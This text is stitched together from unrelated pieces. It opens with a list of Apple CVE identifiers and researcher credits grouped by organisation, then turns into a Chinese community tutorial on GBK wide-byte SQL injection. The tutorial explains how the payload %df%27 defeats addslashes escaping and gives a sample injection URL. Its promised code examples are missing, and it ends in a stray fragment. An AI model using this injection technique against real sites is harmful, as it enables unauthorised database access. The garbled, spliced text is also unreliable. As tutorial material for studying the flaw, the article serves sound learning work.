CVE-2017-7110, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7112, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7115, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to execute arbitrary code with kernel privileges on the application processor
CVE-2017-7116, Wi-Fi, Malicious code executing on the Wi-Fi chip may be able
to read restricted kernel memory
CVE-2017-7009, IOUSBFamily, An application may be able to execute arbitrary
code with kernel privileges
CVE-2017-7023, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7025, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7027, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-7069, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-13853, AppleGraphicsControl, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-7054, Bluetooth, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-6989, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6994, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6995, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6996, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6997, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6998, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6999, AVEVideoEncoder, An application may be able to gain kernel
privileges
CVE-2017-6979, IOSurface, An application may be able to gain kernel privileges
CVE-2017-2501, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2503, Intel Graphics Driver, An application may be able to gain
kernel privileges
CVE-2017-2545, IOGraphics, An application may be able to gain kernel
privileges
CVE-2017-2494, Kernel, An application may be able to gain kernel privileges
CVE-2017-2546, Kernel, An application may be able to gain kernel privileges
CVE-2017-2542, Multi-Touch, An application may be able to gain kernel
privileges
CVE-2017-2543, Multi-Touch, An application may be able to gain kernel
privileges
CVE-2017-6985, NVIDIA Graphics Drivers, An application may be able to gain
kernel privileges
CVE-2017-2401, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2440, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2472, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2473, Kernel, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2474, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2478, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2482, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2483, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2398, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2421, AppleGraphicsPowerManagement, A malicious application may be
able to execute arbitrary code with kernel privileges
CVE-2017-2438, AppleRAID, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2420, Bluetooth, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2427, Bluetooth, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2449, Bluetooth, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2443, Intel Graphics Driver, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2489, Intel Graphics Driver, An application may be able to disclose
kernel memory
CVE-2017-2408, IOATAFamily, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2436, IOFireWireAVC, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2437, IOFireWireAVC, A local attacker may be able to execute
arbitrary code with kernel privileges
CVE-2017-2410, Kernel, A malicious application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2353, Bluetooth, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2358, Graphics Drivers, An application may be able to execute
arbitrary code with kernel privileges
CVE-2017-2357, IOAudioFamily, An application may be able to determine kernel
memory layout
CVE-2017-2370, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2017-2360, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2016-7616, Disk Images, An application may be able to execute arbitrary
code with kernel privileges
CVE-2016-7591, IOHIDFamily, A local application with system privileges may be
able to execute arbitrary code with kernel privileges
CVE-2016-7657, IOKit, An application may be able to read kernel memory
CVE-2016-7714, IOKit, A local user may be able to determine kernel memory
layout
CVE-2016-7606, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2016-7612, Kernel, An application may be able to execute arbitrary code
with kernel privileges
CVE-2016-7607, Kernel, An application may be able to read kernel memory
CVE-2016-7621, Kernel, A local user may be able to cause an unexpected system
termination or arbitrary code execution in the kernel
CVE-2016-7644, Kernel, A local application with system privileges may be able
to execute arbitrary code with kernel privileges
## 关键字: remote, 2017 漏洞数: 9, 2016 漏洞数: 51
CVE-2017-13903, HomeKit, A remote attacker may be able to unexpectedly alter
application state
CVE-2017-7086, libc, A remote attacker may be able to cause a denial-of-service
CVE-2017-7062, Contacts, A remote attacker may be able to cause unexpected
application termination or arbitrary code execution
CVE-2017-7007, EventKitUI, A remote attacker may cause an unexpected
application termination
CVE-2017-7063, Messages, A remote attacker may cause an unexpected application
termination
CVE-2016-0751, Profile Manager, A remote user may be able to cause a denial-of-service
CVE-2007-6750, Web Server, A remote attacker may be able to cause a denial of
service against the HTTP server via partial HTTP requests
CVE-2017-2382, Wiki Server, A remote attacker may be able to enumerate users
CVE-2016-7643, ImageIO, A remote attacker may be able to leak memory
## 关键字: Google, 2017 漏洞数: 125, 2016 漏洞数: 49
CVE-2017-13878, Ian Beer of Google Project Zero
CVE-2017-13875, Ian Beer of Google Project Zero
CVE-2017-13847, Ian Beer of Google Project Zero
CVE-2017-13867, Ian Beer of Google Project Zero
CVE-2017-13876, Ian Beer of Google Project Zero
CVE-2017-13855, Jann Horn of Google Project Zero
CVE-2017-13865, Ian Beer of Google Project Zero
CVE-2017-13869, Jann Horn of Google Project Zero
CVE-2017-7154, Jann Horn of Google Project Zero
CVE-2017-13861, Ian Beer of Google Project Zero
CVE-2017-13783, Ivan Fratric of Google Project Zero
CVE-2017-13784, Ivan Fratric of Google Project Zero
CVE-2017-13785, Ivan Fratric of Google Project Zero
CVE-2017-13791, Ivan Fratric of Google Project Zero
CVE-2017-13792, Ivan Fratric of Google Project Zero
CVE-2017-13794, Ivan Fratric of Google Project Zero
CVE-2017-13795, Ivan Fratric of Google Project Zero
CVE-2017-13796, Ivan Fratric of Google Project Zero
CVE-2017-13797, Ivan Fratric of Google Project Zero
CVE-2017-13798, Ivan Fratric of Google Project Zero
CVE-2017-13802, Ivan Fratric of Google Project Zero
CVE-2017-13828, Leonard Grey and Robert Sesek of Google Chrome
CVE-2017-7117, lokihardt of Google Project Zero
CVE-2017-7086, Russ Cox of Google
CVE-2017-11120, Gal Beniamini of Google Project Zero
CVE-2017-11121, Gal Beniamini of Google Project Zero
CVE-2017-7103, Gal Beniamini of Google Project Zero
CVE-2017-7105, Gal Beniamini of Google Project Zero
CVE-2017-7108, Gal Beniamini of Google Project Zero
CVE-2017-7110, Gal Beniamini of Google Project Zero
CVE-2017-7112, Gal Beniamini of Google Project Zero
CVE-2017-7115, Gal Beniamini of Google Project Zero
CVE-2017-7116, Gal Beniamini of Google Project Zero
CVE-2017-11122, Gal Beniamini of Google Project Zero
CVE-2017-7047, Ian Beer of Google Project Zero
CVE-2017-7018, lokihardt of Google Project Zero
CVE-2017-7037, lokihardt of Google Project Zero
CVE-2017-7039, Ivan Fratric of Google Project Zero
CVE-2017-7040, Ivan Fratric of Google Project Zero
CVE-2017-7041, Ivan Fratric of Google Project Zero
CVE-2017-7042, Ivan Fratric of Google Project Zero
CVE-2017-7043, Ivan Fratric of Google Project Zero
CVE-2017-7046, Ivan Fratric of Google Project Zero
CVE-2017-7048, Ivan Fratric of Google Project Zero
CVE-2017-7056, lokihardt of Google Project Zero
CVE-2017-7061, lokihardt of Google Project Zero
CVE-2017-7049, Ivan Fratric of Google Project Zero
CVE-2017-7065, Gal Beniamini of Google Project Zero
CVE-2017-7066, Gal Beniamini of Google Project Zero
CVE-2017-7064, lokihardt of Google Project Zero
CVE-2017-2522, Ian Beer of Google Project Zero
CVE-2017-2523, Ian Beer of Google Project Zero
CVE-2017-7005, lokihardt of Google Project Zero
CVE-2017-2501, Ian Beer of Google Project Zero
CVE-2017-2507, Ian Beer of Google Project Zero
CVE-2017-2524, Ian Beer of Google Project Zero
CVE-2017-2504, lokihardt of Google Project Zero
CVE-2017-2505, lokihardt of Google Project Zero
CVE-2017-2515, lokihardt of Google Project Zero
CVE-2017-2521, lokihardt of Google Project Zero
CVE-2017-2531, lokihardt of Google Project Zero
CVE-2017-6980, lokihardt of Google Project Zero
CVE-2017-6984, lokihardt of Google Project Zero
CVE-2017-2549, lokihardt of Google Project Zero
CVE-2017-2514, lokihardt of Google Project Zero
CVE-2017-2547, lokihardt of Google Project Zero, Team Sniper (Keen Lab and PC
Mgr) working with Trend Micro’s Zero Day Initiative
CVE-2017-2508, lokihardt of Google Project Zero
CVE-2017-2510, lokihardt of Google Project Zero
CVE-2017-2528, lokihardt of Google Project Zero
CVE-2017-6978, Ian Beer of Google Project Zero
CVE-2017-2527, Ian Beer of Google Project Zero
CVE-2017-2494, Jann Horn of Google Project Zero
CVE-2017-2509, Jann Horn of Google Project Zero
CVE-2017-2516, Jann Horn of Google Project Zero
CVE-2017-7004, Ian Beer of Google Project Zero
CVE-2017-6975, Gal Beniamini of Google Project Zero
CVE-2017-2479, lokihardt of Google Project Zero
CVE-2017-2480, lokihardt of Google Project Zero
CVE-2017-2493, lokihardt of Google Project Zero
CVE-2017-2492, lokihardt of Google Project Zero
CVE-2017-2456, lokihardt of Google Project Zero
CVE-2017-2472, Ian Beer of Google Project Zero
CVE-2017-2473, Ian Beer of Google Project Zero
CVE-2017-2474, Ian Beer of Google Project Zero
CVE-2017-2478, Ian Beer of Google Project Zero
CVE-2017-2482, Ian Beer of Google Project Zero
CVE-2017-2483, Ian Beer of Google Project Zero
CVE-2017-2490, Ian Beer of Google Project Zero, The UK’s National Cyber
Security Centre (NCSC)
CVE-2017-2454, Ivan Fratric of Google Project Zero, Zheng Huang of the Baidu
Security Lab working with Trend Micro’s Zero Day Initiative
CVE-2017-2455, Ivan Fratric of Google Project Zero
CVE-2017-2459, Ivan Fratric of Google Project Zero
CVE-2017-2460, Ivan Fratric of Google Project Zero
CVE-2017-2464, Natalie Silvanovich of Google Project Zero, Jeonghoon Shin
CVE-2017-2466, Ivan Fratric of Google Project Zero
CVE-2017-2468, lokihardt of Google Project Zero
CVE-2017-2469, lokihardt of Google Project Zero
CVE-2017-2470, lokihardt of Google Project Zero
CVE-2017-2476, Ivan Fratric of Google Project Zero
CVE-2017-2367, lokihardt of Google Project Zero
CVE-2017-2445, lokihardt of Google Project Zero
CVE-2017-2446, Natalie Silvanovich of Google Project Zero
CVE-2017-2447, Natalie Silvanovich of Google Project Zero
CVE-2017-2475, lokihardt of Google Project Zero
CVE-2017-2471, Ivan Fratric of Google Project Zero
CVE-2017-2376, an anonymous researcher, Michal Zalewski of Google Inc, Muneaki
Nishimura (nishimunea) of Recruit Technologies Co., Ltd., Chris Hlady of
Google Inc, an anonymous researcher, Yuyang Zhou of Tencent Security Platform
Department (security.tencent.com)
CVE-2017-2457, lokihardt of Google Project Zero
CVE-2017-2364, lokihardt of Google Project Zero
CVE-2017-2442, lokihardt of Google Project Zero
CVE-2017-2443, Ian Beer of Google Project Zero
CVE-2017-2489, Ian Beer of Google Project Zero
CVE-2017-2362, Ivan Fratric of Google Project Zero
CVE-2017-2373, Ivan Fratric of Google Project Zero
CVE-2017-2369, Ivan Fratric of Google Project Zero
CVE-2017-2363, lokihardt of Google Project Zero
CVE-2017-2365, lokihardt of Google Project Zero
CVE-2017-2353, Ian Beer of Google Project Zero
CVE-2017-2361, lokihardt of Google Project Zero
CVE-2017-2370, Ian Beer of Google Project Zero
CVE-2017-2360, Ian Beer of Google Project Zero
CVE-2017-2371, lokihardt of Google Project Zero
CVE-2016-7612, Ian Beer of Google Project Zero
CVE-2016-7621, Ian Beer of Google Project Zero
CVE-2016-7637, Ian Beer of Google Project Zero
CVE-2016-7644, Ian Beer of Google Project Zero
CVE-2016-7660, Ian Beer of Google Project Zero
## 关键字: Tencent, 2017 漏洞数: 42, 2016 漏洞数: 49
CVE-2017-13788, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-13790, Zhiyang Zeng (@Wester) of Tencent Security Platform Department
CVE-2017-13789, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-13801, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-7076, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7134, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7135, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7136, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7137, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7085, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-7019, Zhiyang Zeng of Tencent Security Platform Department
CVE-2017-7011, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-7016, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7033, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-7015, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-2517, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-2525, Kai Kang (4B5F5F4B) of Tencent’s Xuanwu Lab (tencent.com)
working with Trend Micro’s Zero Day Initiative
CVE-2017-2500, Zhiyang Zeng and Yuyang Zhou of Tencent Security Platform
Department
CVE-2017-2511, Zhiyang Zeng of Tencent Security Platform Department
CVE-2017-2526, Kai Kang (4B5F5F4B) of Tencent’s Xuanwu Lab (tencent.com)
working with Trend Micro’s Zero Day Initiative
CVE-2017-2463, Kai Kang (4B5F5F4B) of Tencent’s Xuanwu Lab (tencent.com)
working with Trend Micro’s Zero Day Initiative
CVE-2017-2379, John Villamil, Doyensec, riusksk (泉哥) of Tencent Security
Platform Department
CVE-2017-2417, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-2487, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-2406, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-2407, riusksk (泉哥) of Tencent Security Platform Department
CVE-2017-2416, Qidan He (何淇丹, @flanker_hqd) of KeenLab, Tencent
CVE-2017-2415, Kai Kang of Tencent’s Xuanwu Lab (tentcent.com)
CVE-2017-2376, an anonymous researcher, Michal Zalewski of Google Inc, Muneaki
Nishimura (nishimunea) of Recruit Technologies Co., Ltd., Chris Hlady of
Google Inc, an anonymous researcher, Yuyang Zhou of Tencent Security Platform
Department (security.tencent.com)
CVE-2017-2389, ShenYeYinJiu of Tencent Security Response Center, TSRC
CVE-2017-2453, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-2378, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-2431, kimyok of Tencent Security Platform Department
CVE-2017-2425, kimyok of Tencent Security Platform Department
CVE-2017-7071, Kai Kang (4B5F5F4B) of Tencent’s Xuanwu Lab (tencent.com)
working with Trend Micro’s Zero Day Initiative
CVE-2017-2354, Neymar of Tencent’s Xuanwu Lab (tencent.com) working with Trend
Micro’s Zero Day Initiative
CVE-2017-2366, Kai Kang of Tencent’s Xuanwu Lab (tencent.com)
CVE-2017-2359, xisigr of Tencent’s Xuanwu Lab (tencent.com)
CVE-2016-7658, Haohao Kong of Keen Lab (@keen_lab) of Tencent
CVE-2016-7659, Haohao Kong of Keen Lab (@keen_lab) of Tencent
CVE-2016-7595, riusksk(泉哥) of Tencent Security Platform Department
CVE-2016-4691, riusksk(泉哥) of Tencent Security Platform Department
## 关键字: 360, 2017 漏洞数: 36, 2016 漏洞数: 14
CVE-2017-13799, Lufeng Li of Qihoo 360 Vulcan Team
CVE-2017-13807, Yangkang (@dnpushme) of Qihoo 360 Qex Team
CVE-2016-4736, Proteas of Qihoo 360 Nirvan Team
CVE-2017-7092, Samuel Gro and Niklas Baumstark working with Trend Micro’s Zero
Day Initiative, Qixun Zhao (@S0rryMybad) of Qihoo 360 Vulcan Team
CVE-2017-13854, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7008, Yangkang (@dnpushme) of Qihoo 360 Qex Team
CVE-2017-7009, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7069, Proteas of Qihoo 360 Nirvan Team
CVE-2017-13853, shrek_wzw from Qihoo 360 NirvanTeam
CVE-2017-7021, sss and Axis of Qihoo 360 Nirvan Team
CVE-2017-7054, Alex Plaskett of MWR InfoSecurity, Lufeng Li of Qihoo 360
Vulcan Team
CVE-2017-7014, Lee of Minionz, Axis and sss of Qihoo 360 Nirvan Team
CVE-2017-7035, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7044, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7036, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7045, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7067, shrek_wzw of Qihoo 360 Nirvan Team
CVE-2017-7032, Axis and sss of Qihoo 360 Nirvan Team
CVE-2017-2502, Yangkang (@dnpushme) of Qihoo360 Qex Team
CVE-2017-2544, 360 Security (@mj0011sec) working with Trend Micro’s Zero Day
Initiative
CVE-2017-2503, sss and Axis of 360Nirvan team
CVE-2017-2545, 360 Security (@mj0011sec) working with Trend Micro’s Zero Day
Initiative
CVE-2017-2542, 360 Security (@mj0011sec) working with Trend Micro’s Zero Day
Initiative
CVE-2017-2543, 360 Security (@mj0011sec) working with Trend Micro’s Zero Day
Initiative
CVE-2017-6985, Axis and sss of Nirvan Team of Qihoo 360 and Simon Huang
(@HuangShaomang) of IceSword Lab of Qihoo 360
CVE-2017-2444, Mei Wang of 360 GearTeam
CVE-2017-2401, Lufeng Li of Qihoo 360 Vulcan Team
CVE-2017-2398, Lufeng Li of Qihoo 360 Vulcan Team
CVE-2017-2438, sss and Axis of 360Nirvanteam
CVE-2017-2427, Axis and sss of Qihoo 360 Nirvan Team
CVE-2017-2449, sss and Axis from 360NirvanTeam
CVE-2017-2408, Yangkang (@dnpushme) of Qihoo360 Qex Team
CVE-2017-2413, Simon Huang(@HuangShaomang) and pjf of IceSword Lab of Qihoo
360
CVE-2016-7643, Yangkang (@dnpushme) of Qihoo360 Qex Team
CVE-2016-7647, Lufeng Li of Qihoo 360 Vulcan Team
CVE-2016-7699:, Proteas of Qihoo 360 Nirvan Team
## 关键字: Baidu, 2017 漏洞数: 9, 2016 漏洞数: 2
CVE-2017-7091, Wei Yuan of Baidu Security Lab working with Trend Micro’s Zero
Day Initiative
CVE-2017-7096, Wei Yuan of Baidu Security Lab
CVE-2017-7104, likemeng of Baidu Secutity Lab
CVE-2017-7111, likemeng of Baidu Security Lab (xlab.baidu.com) working with
Trend Micro’s Zero Day Initiative
CVE-2017-7020, likemeng of Baidu Security Lab
CVE-2017-2530, Wei Yuan of Baidu Security Lab, Zheng Huang of the Baidu
Security Lab working with Trend Micro’s Zero Day Initiative
CVE-2017-2506, Zheng Huang of the Baidu Security Lab working with Trend
Micro’s Zero Day Initiative
CVE-2017-2454, Ivan Fratric of Google Project Zero, Zheng Huang of the Baidu
Security Lab working with Trend Micro’s Zero Day Initiative
CVE-2017-2465, Zheng Huang and Wei Yuan of Baidu Security Lab
## 关键字: Ant-financial, 2017 漏洞数: 5
CVE-2017-13803, chenqin (陈钦) of Ant-financial Light-Year Security
CVE-2017-7120, chenqin (陈钦) of Ant-financial Light-Year Security Lab
CVE-2017-7030, chenqin of Ant-financial Light-Year Security Lab
(蚂蚁金服巴斯光年安全实验室)
CVE-2017-7034, chenqin of Ant-financial Light-Year Security Lab
(蚂蚁金服巴斯光年安全实验室)
CVE-2017-7017, chenqin of Ant-financial Light-Year Security Lab
(蚂蚁金服巴斯光年安全实验室)
## 关键字: Alibaba, 2017 漏洞数: 2, 2016 漏洞数: 2
CVE-2017-7119, Xiaolong Bai, Min (Spark) Zheng of Alibaba Inc., Benjamin Gnahm
(@mitp0sh) of PDX
CVE-2017-7050, Min (Spark) Zheng of Alibaba Inc. | 社区文章 |
### 0x00 简介
首先先在这里说一声不好意思，时隔几个月没更新了，这个漏洞笔者认为按照现在的年代来说，价值不高了，但是本着努力学习积极提升自我的的观念，我认为我们还是应该学习这个攻击方法，应此本文更多的会讲解宽字节注入的原理与几个小实验来帮助大家了解这个攻击的方法。
测试代码与sql：链接：<http://pan.baidu.com/s/1dFiw2HV> 密码：aabx
### 0x01概述
首先我们了解下宽字节注入，宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
例如说PHP的编码为 `UTF-8`而`MySql`的编码设置为了
`SET NAMES 'gbk'`或是 `SET character_set_client =gbk`，这样配置会引发编码转换从而导致的注入漏洞。
这里要说明一小点的是：
`SET NAMES 'x'`语句与这三个语句等价：
mysql>SET character_set_client =x;
mysql>SET character_set_results =x;
mysql>SET character_set_connection =x;
也就是说你设置了 `SET NAMES 'x'` 时就等于同时执行了上面的3条语句
而我认为的宽字节注入就是PHP发送请求到MySql时使用了语句
`SET NAMES 'gbk'` 或是`SET character_set_client =gbk`
进行了一次编码，但是又由于一些不经意的字符集转换导致了宽字节注入
### 0x02 宽字节注入原理
1,在我们正常情况下使用`addslashes`函数或是开启`PHPGPC`（注：`在php5.4已上已给删除`，并且需要说明特别说明一点，GPC无法过滤`$_SERVER`提交的参数）时过滤GET、POST、COOKIE、REQUSET
提交的参数时，黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子
例子：
单引号（'）= （\'）
双引号（"） = （\"）
反斜杠（\） = （\\）
2,假如这个网站有宽字节注入那么我们提交：
http://127.0.0.1/unicodeSqlTest?id=%df%27
这时,假如我们现在使用的是`addslashes`来过滤,那么就会发生如下的转换过程
例子：
%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'
这里可能有一些人没看懂，我可以粗略的解释一下。
前端输入`%df%27`时首先经过上面`addslashes`函数转义变成了`%df%5c%27`（`%5c是反斜杠\`)，之后在数据库查询前因为设置了`GBK`编码，即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是`%df%5c`转换成了汉字`運`，而单引号就逃逸了出来，从而造成了注入漏洞。
干这样看我们可能也没能很清楚的看懂，我们可以来几个例子：
例子1：
在PHP中使用`$pdo->query('set names
gbk')`;指定三个字符集（客户端、连接层、结果集）都是GBK编码。而PHP的编码等于UTF-8编码时造成的宽字节注入
例子代码：
那么如何逃过`addslashes`的限制呢？`addslashes`函数产生的效果就是，让`'`变成`\'`，让单双引号变得不再是'单双引号'，只是一撇而已。一般绕过方式就是，想办法处理掉`\'`前面的`\`：
1.想办法给`\` 前面再加一个`\`，变成`\\'`，这样`\`被转义了， `'` 逃出了限制
2.想办法把`\`弄没有。
我们这里的宽字节注入是利用mysql的一个特性，mysql在使用GBK编码的时候，会认为两个字符是一个汉字（前一个ascii码要大于128，才到汉字的范围）。根据这个我们在地址栏输入`%df%27`看看会发生什么：
我们可以看到，页面已经报错了。看到报错，说明这句sql语句出错，说明我们已经绕过了`addslashes`那么就可以正常的进行注入了。
我们只是在`%27`前面加了一个`%df`为什么就报错了？而且从上图中可以看到，报错的原因是多了一个单引号，而单引号前面的反斜杠已经不见了。
这就是mysql的特性，因为gbk是多字节编码，他认为两个字节代表一个汉字，所以`%df`和后面的`\`也就是`%5c`变成了一个汉字`運`，而`'`逃逸了出来,导致了注入。
### 例子2：
使用set names
UTF-8指定了UTF-8字符集，并且也使用转义函数进行转义。有时候在程序运行的时候，为了避免乱码，会将一些用户提交的GBK字符使用`iconv`函数（或`mb_convert_encoding`）先转为`UTF-8`，然后再拼接SQL语句带入数据库。
例子代码：
转换过程：
%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27
`$id =iconv('GBK','UTF-8', $id)`;如果内容是utf8编码的，将自动转成gbk编码的.
`錦`的`utf-8`编码是`0xe98ca6`，它的`gbk`编码是`0xe55c`。
有的同学可能就领悟了。`\`的`ascii`码正是`5c`。那么，当我们的`錦`被`iconv`从`utf-8`转换成`gbk`后，变成了`%e5%5c`，而后面的`’`被`addslashes`变成了`%5c%27`，这样组合起来就是`%e5%5c%5c%27`，两个`%5c`就是`\`，正好把反斜杠转义了，导致`’`逃逸出单引号，产生注入。
从上面的介绍中可以看出，宽字节注入的关键点有两个：
（1） 需要将数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入；
（2） 设置的宽字符集可能吃掉转义符号`\`（对应的编码为0x5c，即低位中包含正常的0x5c就行了）。 | 社区文章 |
Subsets and Splits